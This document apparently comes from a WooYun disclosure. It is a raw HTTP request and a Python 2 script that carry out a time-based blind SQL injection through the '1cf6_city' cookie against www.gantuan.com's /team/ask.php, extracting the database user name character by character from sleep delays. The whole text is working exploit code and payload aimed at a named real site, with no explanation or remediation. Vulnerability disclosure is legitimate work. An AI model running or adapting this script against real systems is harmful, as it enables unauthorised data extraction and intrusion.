WooYun.org

GET /team/ask.php HTTP/1.1
Cookie: PHPSESSID=1824f59adfd9f7ca60ecaa80da7f5575; 1cf6_city='XOR(if(now()=sysdate(),sleep(if(length(user())=17,3,0)),0))OR';
X-Requested-With: XMLHttpRequest
Referer: http://www.gantuan.com
Host: www.gantuan.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
     payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive user:'
user = ''
for i in range(1,18):
    for payload in payloads:
        
        try:
           
            conn = httplib.HTTPConnection('www.gantuan.com', timeout=10)
          
            headers['Cookie']="PHPSESSID=1824f59adfd9f7ca60ecaa80da7f5575;1cf6_city='XOR(if(now()=sysdate(),sleep(if(ascii(mid(user(),%s,1))=%s,10,0)),0))OR';" % (i, ord(payload))
            conn.request(method='GET', url= '/team/ask.php' ,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
        except Exception, e:
            user += payload
            print '\nIn progress]', user
            break
        
print '\n[Done] User is:', user